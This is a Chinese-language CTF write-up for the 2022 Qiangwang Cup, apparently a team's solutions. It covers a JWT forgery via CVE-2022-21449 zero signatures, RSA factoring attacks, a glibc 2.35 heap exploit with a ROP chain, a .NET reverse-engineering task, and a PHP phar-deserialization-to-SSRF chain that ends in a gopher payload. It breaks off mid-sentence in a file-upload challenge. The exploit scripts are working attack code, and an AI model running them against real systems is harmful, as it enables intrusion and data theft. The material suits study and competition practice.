2022第六届强网杯部分wp

Misc

签到

flag{we1come_t0_qwb_s6}

问卷调查

填写问卷得到flag

Crypto

myJWT

使用的是ECDSA,虽然是密码题,但并不是对ECDSA的签名、验证等步骤操作,这些都由java封装好了

所以是java的问题

由于代码中使用的格式是SHA384withECDSAinP1363Format,经过搜索是CVE-2022-21449,发现竟然是java没有判断 ( r , s ) (r,s) (r,s)是否等于0。。。

image-20220731114449362

此外这些都是不安全的

image-20220731114725609

  • CVE-2022-21449

    java没有判断 ( r , s ) (r,s) (r,s)是否等于0会如何呢?其实在签名的时候一般都会确保 ( r , s ) (r,s) (r,s)不为0的,但在验签的时候忽略了

    image-20220731120318947

    验签时计算
    r = x P r=x_P\notag r=xP
    P ≡ u 1 G + u 2 D ≡ s − 1 z G + s − 1 r D ≡ s − 1 G ( z + r d )   ( m o d   n ) P\equiv u_1G+u_2D\equiv s^{-1}zG+s^{-1}rD\equiv s^{-1}G(z+rd)\ (mod\ n) Pu1G+u2Ds1zG+s1rDs1G(z+rd) (mod n)

    当然0的逆元是不存在的,但是看看java这里是怎么求逆元的

    image-20220731115417980

    相当于计算 x n − 2 x^{n-2} xn2,如果 x ≠ 0 x\ne0 x=0,那么根据费马小定理( n n n为质数)
    x n − 1 ≡ x   ( m o d   n ) x^{n-1}\equiv x\ (mod\ n)\notag xn1x (mod n)
    那么
    x n − 2 ≡ x − 1   ( m o d   n ) x^{n-2}\equiv x^{-1}\ (mod\ n)\notag xn2x1 (mod n)
    也就是说为了简化或者说提高效率,java使用费马小定理求逆元的,而且没有判断0,这样就造成了
    0 n − 2 ≡ 0   ( m o d   n ) 0^{n-2}\equiv 0\ (mod\ n)\notag 0n20 (mod n)
    P ≡ 0 ⋅ G ( z + r d )   ( m o d   n ) ≡ 0   ( m o d   n ) P\equiv 0\cdot G(z+rd)\ (mod\ n)\equiv 0\ (mod\ n) P0G(z+rd) (mod n)0 (mod n)

    最终使得 r = x P = 0 r=x_P=0 r=xP=0验证通过

  • attack

    这里如何实现将 r , s r,s r,s都赋值为0?看CVE的demo是直接喂\x00的base64编码,不懂为什么,还没深究

    exp如下

    from base64 import *
    from pwn import *
    
    io = remote('47.104.76.78', 23334)
    
    fake_sig = b'\x00\x00'
    name = b'4xwi11'
    io.sendlineafter(b'your name:', name)
    io.sendlineafter(b'>', b'1')
    token = io.recvline().decode()[:-1]
    head, payload, _ = token.split('.')
    payload = b64decode(payload).replace(b'false', b'true')
    io.sendlineafter(b'>', b'2')
    payload_x = head.encode() + b'.' + b64encode(payload) + b'.' + b64encode(fake_sig)
    io.sendline(payload_x)
    print(io.recvline()[:-1])
    # b'your token:flag{cve-2022-21449_Secur1ty_0f_c0de_1mplementation}'
    

btw,不知道是不是jdk版本的问题,我本地不行

Factor

就完全是这篇论文的复现了New attacks on RSA with Moduli N = p^rq[6]

注意第一和第二种攻击中,用CopperSmith解小根就可以得到相应的未知数

image-20220731171326864

image-20220731171300864

完整的exp如下

from Crypto.Util.number import *
from gmpy2 import *
from sage import *

# solve m1, m2
def solve_m1_m2():
    n11 = 801049932940568005269978912396585741498810389425615966036828877784238116634177290247194019425111606811005728521368879065336038221361037062407029836155148874719789714345603547779284558101833801155509762818376470874215789574939002212274399950433269775325144015468620263028557804618774240232988157961712628677901130814703917513004114547234375629747176834581166306552311075522669403347828095831520693563291249869832390698646691647204371133362254846234990175138047928703289833460734235302093916147489509206061923877623300596194317059884824322527532662470348274079800781120104946546063500763852622187404608639542858285661288293918912184354236687975919510300221932074135531028314170475917110204254042336116619335841213418990605590620842511615815443114612333881430920769002933370887494558640833005339906706603497809846863863967391543647049224309556936909768179259581851520214669904560467640473144481633920438487615788689262961741053146610554997224861331949716721056553499531186695425439163222802917813140266513735841447717418846360096652592844940362932171019143434080184728093326143821165097895058935372215708948088248596585127475770021962501262915274497478428868130455122612016408381607561200802267038869516896665387576895570245272035575637
    n12 = 635401970340205725139325006504978344512744926958688031423448003992072769931808217486709574151492230879374574313457662436423263437792389711379687512056391117410807565492548718691166183372633151644917135272259770997096195518489056319350258673723095417922153182423913759272893696867426193704479752772511081457729513843682588951499551132432923147997238597538055902932123792252593514225328196541483451747314048080824405530742533473914329294346486691684904100406972073037050089861816604505650042953778360621934380815999541183067585498606053857125775979915077329566722531830089714823979965934190338538564188253271016367299890015449611141166780048763403252309160517164569110740561584100839212138661881615351382946813818078899882595313362934594951895560189003438775450675343590147821186953526262224973333962454561275321925151619178204499342339749637758100126893330994252902926509705617882239610380420830791088907378397226817514095468815228186716220057075095711894070032344613244803934541318573847029365563159918970404057137270884587905766828750387753130065274147902379993224780149663600462492281891320702134153853359393588902750423972068679293373333869389393970353760507436913233657422185531482023237384247535554666481760197851108297145147371
    e11 = 1898839980562048754607069073527844852132536432440793106124181406514770178066775988232362054809850074774981836898118651469424148725970708199461113088705044905633592578936333918328544505910996746428679299419879472444790941363558025887620570856598548320246426354974395765243741646121743413447132297230365355148066914830856904433750379114692122900723772114991199979638987571559860550883470977246459523068862898859694461427148626628283198896659337135438506574799585378178678790308410266713256003479022699264568844505977513537013529212961573269494683740987283682608189406719573301573662696753903050991812884192192569737274321828986847640839813424701894578472933385727757445011291134961124822612239865
    e12 = 1262647419018930022617189608995712260095623047273893811529510754596636390255564988827821761126917976430978175522450277907063247981106405519094560616378241247111698915199999363948015703788616554657275147338766805289909261129165025156078136718573006479030827585347458143645738353716189131209398056741864848486818076440355778886993462012533397208330925057305502653219173629466948635110352752162442552541812665607516753186595817376029707777599029040724727499952161261179707271814405907165207904499722122779096230563548011491932378429654764486855147873135769116637484240454596231092684424572258119768093562747249251518965380465994055049411715353547147466711949391814550591591830515262296556050946881
    c11 = 18979511327426975645936984732782737165217332092805655747550406443960209507493506811471688957217003792679188427155591583024966608843371190136274378868083075515877811693937328204553788450031542610082653080302874606750443090466407543829279067099563572849101374714795279414177737277837595409805721290786607138569322435729584574023597293220443351227559400618351504654781318871214405850541820427562291662456382362148698864044961814456827646881685994720468255382299912036854657082505810206237294593538092338544641919051145900715456411365065867357857347860000894624247098719102875782712030938806816332901861114078070638796157513248160442185781635520426230183818695937457557248160135402734489627723104008584934936245208116232179751448263136309595931691285743580695792601141363221346329077184688857290503770641398917586422369221744736905117499140140651493031622040723274355292502182795605723573863581253354922291984335841915632076694172921289489383700174864888664946302588049384130628381766560976143458735712162489811693014419190718601945154153130272620025118408017441490090252674737105557818759190934585829634273698371996797545908125156282869589331913665938038870431655063063535672001112420959158339261862052308986374193671007982914711432579
    c12 = 336587005671304527566745948355290412636261748969581976214239578621816863343117433524033533838636941679300497270909696775021031004312477997130741361709262822736904340641138652359632950455651920464042448022467664596484055174270895170499076347333381222768518599018520948098943626229061996126260154604038101543546588917619576702866444998578555907070990331574722135141778182631559802154493815687284077524469331290249057291163803290619701104007028836609832847351748020354798788508790258935718399783002069490123663345156902440501507117289747695510266461539019431610123351176227443612317037899257774045751487135646052309277098939919088029284437221840182769808850184827681307611389353392683707516141736067793897378911235819049432542758429901945202632117089595899280390575706266239252841152490534353760118231918190110043319877744119083811214707593122757409240645257409097436061825613686773916466122693168971062418046703969144004779270391320645495586024342668002497155358623795942692477164489475917351003149045087283510728981096449890130735055015075557614253867698702479920619299919816768972581273507837309179450374634916567083251630203067065663910073926990517108921490442919372774170201239734064819301693527366233007925670043499415100789027665
    for _ in sub_fraction(n11, n12):
        q11, q12 = _[0], _[1]
        if n11 % q11 == 0 and q12 != 1:
            p11 = iroot(n11 // q11, 2)[0]
            p12 = iroot(n12 // q12, 2)[0]
            assert p11 ** 2 * q11 == n11
            assert p12 ** 2 * q12 == n12
            phi1 = p11 * (p11 - 1) * (q11 - 1)
            phi2 = p12 * (p12 - 1) * (q12 - 1)
            d1 = invert(e11, phi1)
            d2 = invert(e12, phi2)
            return pow(c11, d1, n11), pow(c12, d2, n12)

# solve b
def solve_b():
    n2 = 209798341155088334158217087474227805455138848036904381404809759100627849272231840321985747935471287990313456209656625928356468120896887536235496490078123448217785939608443507649096688546074968476040552137270080120417769906047001451239544719039212180059396791491281787790213953488743488306241516010351179070869410418232801398578982244984544906579574766534671056023774009163991804748763929626213884208260660722705479782932001102089367261720194650874553305179520889083170973755913964440175393646890791491057655226024046525748177999422035469428780228224800114202385209306803288475439775037067014297973202621118959024226798935588827359265962780792266516120013602384766460619793738405476219362508944225007365127768741191310079985425349292613888185378948854602285379329682053663283534930182589905986063348509703027498270111412063194971956202729807710253369312175636837558252924035002153389909587349043986253518050303628071319876207392440085675892353421232158925122721273720564784886530611286461575045181073744696415657043278123662980166364494583141297996445429477446442693717498789391918530672770193730629928408766563592081857706608049076318165712479742423149330311238462044666384622153280310696667586565906758451118241914402257039981388209
    e2 = 65537
    c2 = 18352572608055902550350386950073774530453857897248738030380007830701135570310622004368605208336922266513238134127496822199799761713782366178177809597137102612444147565578155260524747439899150012223027218489946124086276814899675563837669559795153349686434242738207425653079514376089070980797596457151965772460109519623572502109592612394316680202287712465721767341302234806130244551387296133051760893033194962691942040228545508895009195291106297581470066545991352668826197346830561010198417527057944507902143965634058848276017283478933675052993657822322866778994956205033704582047618324071045349072526540250707463112668579342537349567247810715604220690215313641329522674080146047291570752430231923566302463491877377617044768978997438596643458475128936850994934029476030136643053997549253792076260765459166618369864942681056864815996253315631930002738854235841120321870075261782250357506436825550088826469396508045912258303652912217151127280959435741419961721418428605515096160344688795655562889755165362006775317188009008288782691705879510655892181975003485714604340542378477388225736316682379616676770234557939471098919647053799313777248678455620231721202780830980063824003076308811540534492317719811588898727134190545533822501681653
    m1, m2 = solve_m1_m2()
    PR.<x> = PolynomialRing(Zmod(n2))
    f = m1 * m2 * x - (m2 - m1)
    f = f.monic()
    root = int(f.small_roots(X=2 ^ 1000, beta=0.75)[0])
    p2 = gcd(int(f(root)), n2)
    p2 = iroot(p2, 6)[0]
    q2 = n2 // (p2 ** 7)
    phi2 = p2 ** 6 * (p2 - 1) * (q2 - 1)
    d2 = invert(e2, phi2)
    return pow(c2, d2, n2)

# solve flag
n3 = 539779851369541956878655738599584730199799866957191805784596190682932284216781781433367450841202917758999300635019369629627621029957135109806205877317954671312041249493462048283611940752235036153024920172209763260723728345918562258401803973624430150143563078517485996070862532682695228590709019451174548520135142052216785774589096706631010293690859363524584240662502290912412366366114571976050857239915691266377257797199583543940504695517331512813468837128344612227973709974625418257243011036826241599265375741977853552204640800449679679351666009764297016524814036295707311913711955324055690490892097177271718850857268982130811714517356073266905474635370690445031512184247179039751734276906533177939993769044135143389748416635981226449566039039202521305851567296884751935162651063209779647359922622084851547605090230221057349511482738300221222563908357379545905837110168948295030747460300104202323692732549831403834387939156877086852393515817984772384147449841124275061609701453997579569931391166586163299940486204581696722731952467570857217406030804590055255431828403195798003509083922294733709507134156466158642941338493323430671502043066148246348074878064089651235355282144209668143249348243220714471988019011613749340243917652821
e3 = 8179300978753084587812861894047395225516049110376948812109811319430275614612773726672345893359691900281432484382670047044697374818043512731533402576374645405477207239801498428774783768163880078495448747421425078521981578408638790336528372019271073712013371141939808017049399434858687299480461753638164719404612128939787055797762174745092074547412183349192156638711750872083313795551439465507724807626674514935170104573715458782366469587138508845980490673890245713729782917089910271980557159592807350504157192913530007199510144004848020221181558472160543018733124225266127379373751910439604459368078652499029070936707349862139053913745186413782066470461478961703013591655136140060879250067379283913798867648758171004535775565306842444545755351202796833177560656564652632975685912935281581268141803696686952259539945588609591385807620108279333498170028167338690235117003515264281843953984997958878272347778561933726792473981855755454522886321669676790813189668084373153897754540290867346751033567500922477317530445967753955221454744946208555394588111484610700789566547507402309549957740815535069057837915204852490930168843605732632328017129154852857227895362549146737618906180651623216848500491438142456250653458053922622240299736136335179639180898730269690699965799644757774472147210271111150769048976871249731156387939260749192370361488285775377622944817570292095201906142567403539151179209316853493906909989301225903409448461436855145
c3 = 113097822337683973761068913398570777162211043704088253732500045618770280334319497174908657828372816818344430304314992760410247741225285170975119344962728883084314382093407445567724674775086423808679124143380073906159023182353116556175251427048715466914368972746661938211846262612414049036821553068430149530397389927209475908905748728402722287875974303298260579839357610962198145974153609818939841880084892796820949226354126424023144300953584658958900737493704530725894948802258740332090822797815745616247879170037794873059391625680745994045522420168248552864215035136318711240256011217929372430302003068882829637056296413462078222453765071094277727760527662423010417144554652783429899139309180017349156600053882338180319473460877576898373222480215735280046214925463242092830060830764299787309912687294672319845054775281463150375545716818434962456139485501224661520991156961587158843064393883274763714930309353593180897123378717852182761518709151878662808890356934477932099818218743384674756674800089177733447066489275506387382342429495897972218764782517198727316942685748481956118012927027254979181519862451112593068440686462293151078537886822555211870303467014484443432209106264020502334805536091587252238173816637270028678636848763
b = solve_b()
PR.<x> = PolynomialRing(Zmod(n3))
f = e3 * x - int(b)
f = f.monic()
root = int(f.small_roots(X=2 ^ 675, beta=0.75)[0])
p3 = gcd(int(f(root)), n3)
p3 = iroot(p3, 6)[0]
q3 = n3 // p3 ** 7
phi3 = p3 ** 6 * (p3 - 1) * (q3 - 1)
d3 = invert(e3, phi3)
m = pow(c3, d3, n3)
print(long_to_bytes(m))
# qwb{8633ce6d-fece-4cf1-8f0f-f27e5bf6d678}

PWN

houseofcat

  • 首先逆向进入程序主逻辑先LOGIN |LOGIN r00t QWB QWXFadmin\x00 然后再CAT |LOGIN r00t QWB QWXF$\xff\xff\xff\xff 就能进入菜单
  • 进入菜单发现free那里是uaf漏洞,add函数里是只能申请0x418到0x46f大小的堆块,再结合给的libc是2.35版本没有free_hook所以大致攻击就是利用house ofemma,但是edit只有两次的修改的机会,利用两次largebinattack修改stderr伪造假的iofile然后改guard为堆地址。再是修改topchunk,我利用unsortedbin会合并的特点实现了一个堆重叠,从而可以伪造size位再次free之后就能有一个更大的假堆块,再修改topchunk的size触发houseofkiwi再实现houseofemma的调用链。由于开了沙箱,而且read的fd只能为0,发现沙箱有close函数就利用close将0关闭再通过open就能使fd为0然后得到flag
#encoding: utf-8
#!/usr/bin/python
from pwn import*
import sys
#context.log_level = "debug"
context.arch="amd64"
binary_name = "house_of_cat"
libc_name = "libc-2.35.so"
ld_name = "ld"
local = 1
version = "3"
elf =ELF("./"+binary_name)
libc = ELF("/home/nelson/Desktop/glibc/{}/{}/{}".format(libc_name,version,libc_name))
#ld = ELF("./"+ld_name)
se      = lambda data               :io.send(data) 
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
rc      = lambda num          		:io.recv(num)
rl      = lambda                    :io.recvline()
ru      = lambda delims             :io.recvuntil(delims)
uu32    = lambda data               :u32(data.ljust(4, b'\x00'))	
uu64    = lambda data               :u64(data.ljust(8, b'\x00'))
info    = lambda tag, addr          :log.info(tag + " -------------> " + hex(addr))
ia		= lambda                    :io.interactive()
if local==1:
	io = remote("47.93.187.169",36038)
else:
	io = process("./"+binary_name)

def debug():
	gdb.attach(io,'''
		b _IO_cookie_write

		''')
	pause()
def ROL(content, key):
    tmp = bin(content)[2:].rjust(64, '0')
    return int(tmp[key:] + tmp[:key], 2)
def add(idx,size,content):
	sla("choice:\n",'1')
	sla("idx:\n",str(idx))  #0x418 - 0x46f
	sla('size:\n',str(size))
	sla("content:\n",content)
	sla("mew mew mew~~~~~~","CAT |LOGIN r00t QWB QWXF$\xff\xff\xff\xff")
def edit(idx,content):
	sla("choice:\n",'4')
	sla("idx:\n",str(idx))
	sla("content:\n",content)
	sla("mew mew mew~~~~~~","CAT |LOGIN r00t QWB QWXF$\xff\xff\xff\xff")
def free(idx):
	sla("choice:\n",'2')
	sla("idx:\n",str(idx))
	sla("mew mew mew~~~~~~","CAT |LOGIN r00t QWB QWXF$\xff\xff\xff\xff")
def show(idx):
	sla("choice:\n",'3')
	sla("idx:\n",str(idx))
	
sla("mew mew mew~~~~~~","LOGIN |LOGIN r00t QWB QWXFadmin\x00")
sla("mew mew mew~~~~~~","CAT |LOGIN r00t QWB QWXF$\xff\xff\xff\xff")
payload = b'a'*0x78 + p64(0x7ffff7faea60)
add(0,0x420,payload)
add(0xf,0x420,"aaa")
add(1,0x418,'cccc')
add(0xe,0x418,"ssss")
free(0)
add(2,0x430,"ddd")
show(0)
ru("Context:\n")
libcbase = uu64(io.recv(6)) - 2203856
info("libcbase",libcbase)
rc(10)
heap_addr = uu64(io.recv(6))
info("heap_addr",heap_addr)
sla("mew mew mew~~~~~~","CAT |LOGIN r00t QWB QWXF$\xff\xff\xff\xff")
stderr_addr = libcbase + libc.sym["stderr"]
info("stderr_addr",stderr_addr)
payload = p64(0)*2 + p64(0)+p64(libcbase-10432-0x20+0x30)
edit(0,payload)
free(1)
payload = p64(0) + p64(0x71)+p64(0)*13+p64(0x21)
add(3,0x430,payload)
##
pop_rdi_ret = libcbase + 0x000000000002a3e5
pop_rsi_ret = libcbase + 0x000000000002be51
pop_rdx_r12_ret = libcbase + 0x000000000011f497
ret_addr = libcbase  + 0x0000000000029cd6
gadget = libcbase + 0x00000000001675b0 #mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];
setcontext = libcbase + libc.sym["setcontext"] + 61 

info("setcontext",setcontext)
_IO_stdfile_2_lock = libcbase + 2210400
info("_IO_stdfile_2_lock",_IO_stdfile_2_lock)
## 
next_chain = 0
srop_addr = heap_addr + 0x2ae0 + 0x10
fake_IO_FILE = 2 * p64(0)
fake_IO_FILE += p64(0)  # _IO_write_base = 0
fake_IO_FILE += p64(0xffffffffffffffff)  # _IO_write_ptr = 0xffffffffffffffff
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(0)  # _IO_buf_base
fake_IO_FILE += p64(0)  # _IO_buf_end
fake_IO_FILE = fake_IO_FILE.ljust(0x58, '\x00')
fake_IO_FILE += p64(next_chain)  # _chain
fake_IO_FILE = fake_IO_FILE.ljust(0x78, '\x00')
fake_IO_FILE += p64(heap_addr) # _lock = writable address
fake_IO_FILE = fake_IO_FILE.ljust(0xB0, '\x00')
fake_IO_FILE += p64(0)  # _mode = 0
fake_IO_FILE = fake_IO_FILE.ljust(0xC8, '\x00')
fake_IO_FILE += p64(libcbase + 2186112 + 0x40)  # vtable
fake_IO_FILE += p64(heap_addr+2400)  # rdi
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(ROL(gadget ^ (heap_addr), 0x11))

###
syscall_ret = libcbase + 0x0000000000091396
pop_rax_ret =libcbase + 0x0000000000045eb0
frame = SigreturnFrame()
frame.rsi = 0
frame.rdx = 0x100
frame.rsp = heap_addr +2704
frame.rip = pop_rdi_ret + 1  # : ret
##orw
flag_addr = heap_addr+2688
read_addr = libcbase + libc.sym["read"]
write_addr = libcbase + libc.sym["write"] 
close_addr =libcbase + libc.sym["close"]
orw =flat([
	pop_rdi_ret,0,close_addr,
	pop_rdi_ret,flag_addr,
	pop_rax_ret,2,syscall_ret,
    pop_rdi_ret,0,pop_rsi_ret,heap_addr+3232,pop_rdx_r12_ret,0x100,0,read_addr,
	pop_rdi_ret,1,pop_rsi_ret,heap_addr+3232,pop_rdx_r12_ret,0x100,0,pop_rax_ret,1,write_addr
	])
payload = "aaaaaaaa"+p64(0)+p64(heap_addr+2400)+p64(0)*2+p64(setcontext)+str(frame)[0x28:].ljust(0xF8, '\x00')+'flag'.ljust(0x10, '\x00') + orw
add(4,0x418,fake_IO_FILE+payload)
free(4)
payload = p64(0)*3+p64(libcbase+libc.sym['stderr']-0x20)
edit(0,payload)
add(5,0x430,"payload")
payload = p64(0)*3+p64(0x71)+p64(0)*12+p64(0)+p64(0x21)
add(6,0x430,payload)
free(2)
info("x",heap_addr+5344)
free(3)
payload = "\x00"*0x430+p64(0)+p64(0x8a1)
add(7,0x460,payload)
free(3)
info("top",heap_addr+7520)
free(6)
add(8,0x430,"aaa")
payload = '\x00'*0x438 + p64(0x80)
add(9,0x440,payload)
#debug()
sla("choice:\n",'1')
sla("idx:\n",'10')  
sla('size:\n',str(0x460))

ia()

flag{e672697f-6e0f-4ebc-aa7f-c941cf974afa}

RE

GameMaster

将exe文件拖入dnSpy进行反编译

分析代码,先进行异或操作,然后再进行aes解密

from Crypto.Cipher import AES
with open(r"C:\Users\gx\Downloads\GameMaster\gamemessage","rb") as f:
    c=f.read()
print(len(c))
key=b'qwb2022BlackJack'
iv=b'Brainstorming!!!'
a=AES.new(iv,mode=AES.MODE_ECB)


m=a.decrypt(c)
print(m)
with open("1","wb") as f:
    f.write(m)

解出来之后foremost,得到一个新的dll

再拖到dnSpy进行反汇编,分析代码

写出解密脚本得到flag

def Check1(x, y, z, KeyStream):
    num = -1
    for i in range(320):
        x = (((x >> 29 ^ x >> 28 ^ x >> 25 ^ x >> 23) & 1) | x << 1)
        y = (((y >> 30 ^ y >> 27) & 1) | y << 1)
        z = (((z >> 31 ^ z >> 30 ^ z >> 29 ^ z >> 28 ^ z >> 26 ^ z >> 24) & 1) | z << 1)
        flag = i % 8
        if (flag == 0):
            num += 1
        KeyStream[num] = (KeyStream[num] << 1) | ((z >> 32 & 1 & (x >> 30 & 1)) ^ (((z >> 32 & 1) ^ 1) & (y >> 31 & 1)))
    return KeyStream

def ParseKey(L, Key):
    for i in range(3):
        for j in range(4):
            Key[i * 4 + j] = L[i] >> j * 8 & 255
    return Key

from z3 import *
s = Solver()
first = [101, 5, 80, 213, 163, 26, 59, 38, 19, 6, 173, 189, 198, 166, 140, 183, 42, 247, 223, 24, 106, 20, 145, 37, 24,
         7, 22, 191, 110, 179, 227, 5, 62, 9, 13, 17, 65, 22, 37, 5]
KeyStream = [0] * len(first)

x, y, z=BitVecs('x y z', 64)

num = -1
for i in range(320):
    x = (((x >> 29 ^ x >> 28 ^ x >> 25 ^ x >> 23) & 1) | x << 1)
    y = (((y >> 30 ^ y >> 27) & 1) | y << 1)
    z = (((z >> 31 ^ z >> 30 ^ z >> 29 ^ z >> 28 ^ z >> 26 ^ z >> 24) & 1) | z << 1)
    flag = i % 8 == 0
    if flag:
        num+=1
    KeyStream[num] = ((KeyStream[num] << 1) | ((((z >> 32 & 1 & (x >> 30 & 1)) ^ (((z >> 32 & 1) ^ 1) & (y >> 31 & 1))))))

for i in range(40):
    s.add(first[i]==KeyStream[i])

s.check()
print(s.model())
# [y = 868387187, x = 156324965, z = 3131229747]
y = 868387187
x = 156324965
z = 3131229747
array = [x, y, z]
array2 = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
array4 = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
array5 = [60, 100, 36, 86, 51, 251, 167, 108, 116, 245, 207, 223, 40, 103, 34, 62, 22, 251, 227]
array2 = Check1(array[0], array[1], array[2], array2)
array4 = ParseKey(array, array4)
print(array4)
for i in range(len(array5)):
    array5[i] ^= array4[i % len(array4)]
    array5[i] = chr(array5[i])
print(array5)
flag = 'flag{' + ''.join(array5) + '}'
print(flag)
#flag{Y0u_@re_G3meM3s7er!}

Web

easyweb

ctrl+u 发现存在showfile.php任意文件读取

image-20220801140119319

不过读取的文件名中必须要有demo或者guest,很简单就能绕过。直接读到了class.php index.php showfile.php upload.php

简单看一下,可以发现重点是在class.php,不过在此之前还有一个点,因为所有文件中并没有实现自动打开session,而在showfile.php和upload.php文件中都有限制,必须session存在才能进行文件上传等,就不多说了,可以利用PHP_SESSION_UPLOAD_PROGRESS绕过

class.php

共有三个类,分别为Upload用于文件上传,GuestShow和AdminShow为在showfile.php中用到,而AdminShow中很明显存在SSRF。而既然有类,当然就会想进行反序列化了,而又存在任意文件读取,就会想到利用phar://

$url = $this->schema . $this->source;
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_HEADER, 1);
$response = curl_exec($curl);
curl_close($curl);
$src = "data:jpg;base64,".base64_encode($response);
echo "<img src={$src} />";

那么来找一下链子吧。首先我们最后想要实现的肯定就是AdminShow#show方法的SSRF,那么可以先找一下有哪个链子能到

这里就直接贴了:

GuestShow#__destruct
	GuestShow#__toString
		AdminShow#__get
			AdminShow#show

但是我们可以发现AdminShow类中存在__wakeup给$this->schema$this->source赋值,那么就得重新找一下链子绕过了,这里也不多说,直接贴上吧

<?php

class Upload {
    public $file;
    public $filesize;
    public $date;
    public $tmp;
    public function __construct()
    {
        
        
    }
}

class GuestShow{ 
    public $file;
    public function __construct()
    {
        
    }
}

class AdminShow{ 
    public $source;
    public $schema;
    public function __construct()
    {
        
    }

}

$show = new AdminShow();
$guest = new GuestShow();
$guest1 = new GuestShow();
$upload = new Upload();
$upload1 = new Upload();
$upload2 = new Upload();
$guest->file = $upload;
$upload->tmp = $show;
$show->str[0] = $upload1;
$upload1->date=''; // 给source赋值
$upload1->filesize = $show;
$upload2->filesize = $show;
$upload2->tmp = $guest1;
$show->str[1] = $upload2;
$upload2->date = ''; // 给schema赋值
$guest1->file = $show;
$phar = new Phar("test.phar"); //.phar文件
$phar->startBuffering();
$phar->setStub('GIF89a<?php __HALT_COMPILER(); ? >'); //固定的
$phar->setMetadata($guest); 
$phar->addFromString("exp.txt", "test"); //随便写点什么生成个签名
$phar->stopBuffering();
rename('test.phar','f.jpg');

然后把文件上传,并通过showfie.php进行phar://协议触发反序列化,最先我们可以先读取/etc/hosts发现

172.18.0.2	3b35825919ae
10.10.10.5	3b35825919ae

那么先可以利用http协议查看那个ip存在可利用信息,最终发现在10.10.10.10


<?php
//内网资源阅读器-测试机
//配置信息请看phpinfo.php


highlight_file(__FILE__);

if (isset($_GET['url'])){
    $link = $_GET['url'];
    $curlobj = curl_init();
    curl_setopt($curlobj, CURLOPT_POST, 0);
    curl_setopt($curlobj,CURLOPT_URL,$link);
    curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1);
    $result=curl_exec($curlobj);
    curl_close($curlobj);

    echo $result;
}

if($_SERVER['REMOTE_ADDR']==='10.10.10.101'||$_SERVER['REMOTE_ADDR']==='100.100.100.101'){
    system('cat /flag');
    die();
}

?>

最后利用gopher进行GET利用url file协议读取flag就好了

import urllib.parse

payload = \
"""GET /?url=file:///flag HTTP/1.1
Host: 10.10.10.101
"""

tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A', '%0D%0A')
result = 'gopher://10.10.10.10:80/'+'_'+new
print(result)

最终exp:

import base64
import requests
import re


def edit(filename):
    with open(filename, 'rb') as f:
        a = base64.b64encode(f.read())
    c = base64.b64encode(base64.b64decode(a).replace(b"10.10.10.5", b"10.10.10.6"))
    with open('e.jpg', 'wb') as w:
        w.write(base64.b64decode(c))


def upload():
    url = 'http://47.104.95.124:8080/upload.php'
    # url = 'http://127.0.0.1:40012/upload.php'
    data = {'PHP_SESSION_UPLOAD_PROGRESS': '123456789'}
    files = {'file': open('f.jpg', 'rb')}
    r = requests.post(url, files=files, data=data, cookies={'PHPSESSID': 'test2'})
    if r.status_code == 200:
        print(r.text)


def phar(payload):
    # url = 'http://47.104.95.124:8080/showfile.php?f='
    url = 'http://47.104.95.124:8080/showfile.php?f=php://filter/guest/resource=phar:///var/www/html/'
    # url = 'http://127.0.0.1:40012/showfile.php?f=php://filter/guest/resource=phar://'

    # print(upload())
    # payload = 'phar:///var/www/html/' + upload()
    # data = {'PHP_SESSION_UPLOAD_PROGRESS': '111111111'}
    # files = {'file': '123'}
    r = requests.get(url + payload)
    print(r.text)


def getFileByGuestShow():
    global content
    filename = ['index.php', 'showfile.php', 'class.php', 'upload.php']
    for file in filename:
        url = 'http://47.104.95.124:8080/showfile.php?f=demo/../' + file
        r = requests.get(url)
        print(r.text)
        zz = re.compile('<img src=data:jpg;base64,[a-zA-Z0-9\\\+/=]{1,}')
        if zz.findall(r.text):
            content = zz.findall(r.text)[0][25:]
            print(content)
        try:
            with open(file, 'wb') as w:
                base = base64.b64decode(content)
                print(base)
                w.write(base)
        except:
            continue


def getFileByAdminShow():
    url = 'http://47.104.95.124:8080/showfile.php?f='
    data = {'PHP_SESSION_UPLOAD_PROGRESS': '111111111'}
    payload = '../../../../etc/hosts'
    files = {'file': '123'}
    r = requests.post(url + payload, files=files, data=data, cookies={'PHPSESSID': 'test123456'})
    print(r.text)


if __name__ == '__main__':
    # edit('e.jpg')
    upload()
    # getFileByGuestShow()  # 获取文件内容
    phar('16029c2703ba2ab39d897f966a28f95c/f.jpg')  # 上传文件并执行phar
    # getFileByAdminShow()

QQ图片20220801142401

flag:

flag{easy_penetration_it_is_!_QAQ}

强网先锋

rcefile

存在www.zip泄露

upload.php中存在黑名单,并且尝试上传phps等后缀的时候发现并没有被解析,但是可以上传inc文件

并且可以发现文件名会被放到$userfile数组中并将数组序列化放到cookie中,当然在一开始做题测试的时候应该也能从页面中看到

include "config.inc.php";

$file = $_FILES["file"];
if ($file["error"] == 0) {
    if($_FILES["file"]['size'] > 0 && $_FILES["file"]['size'] < 102400) {
        $typeArr = explode("/", $file["type"]);
        $imgType = array("png","jpg","jpeg");
        if(!$typeArr[0]== "image" | !in_array($typeArr[1], $imgType)){
            exit("type error");
        }
        $blackext = ["php", "php5", "php3", "html", "swf", "htm","phtml"];
        $filearray = pathinfo($file["name"]);
        $ext = $filearray["extension"];
        if(in_array($ext, $blackext)) {
            exit("extension error");
        }
        $imgname = md5(time()).".".$ext;
        if(move_uploaded_file($_FILES["file"]["tmp_name"],"./".$imgname)) {
            array_push($userfile, $imgname);
            setcookie("userfile", serialize($userfile), time() + 3600*10);
            $msg = e("file: {$imgname}");
            echo $msg;
        } else {
            echo "upload failed!";
        }
    }
}else{
    exit("error");
}

在class.inc.php中可以发现,而它不仅可以解析php文件还可以解析inc文件

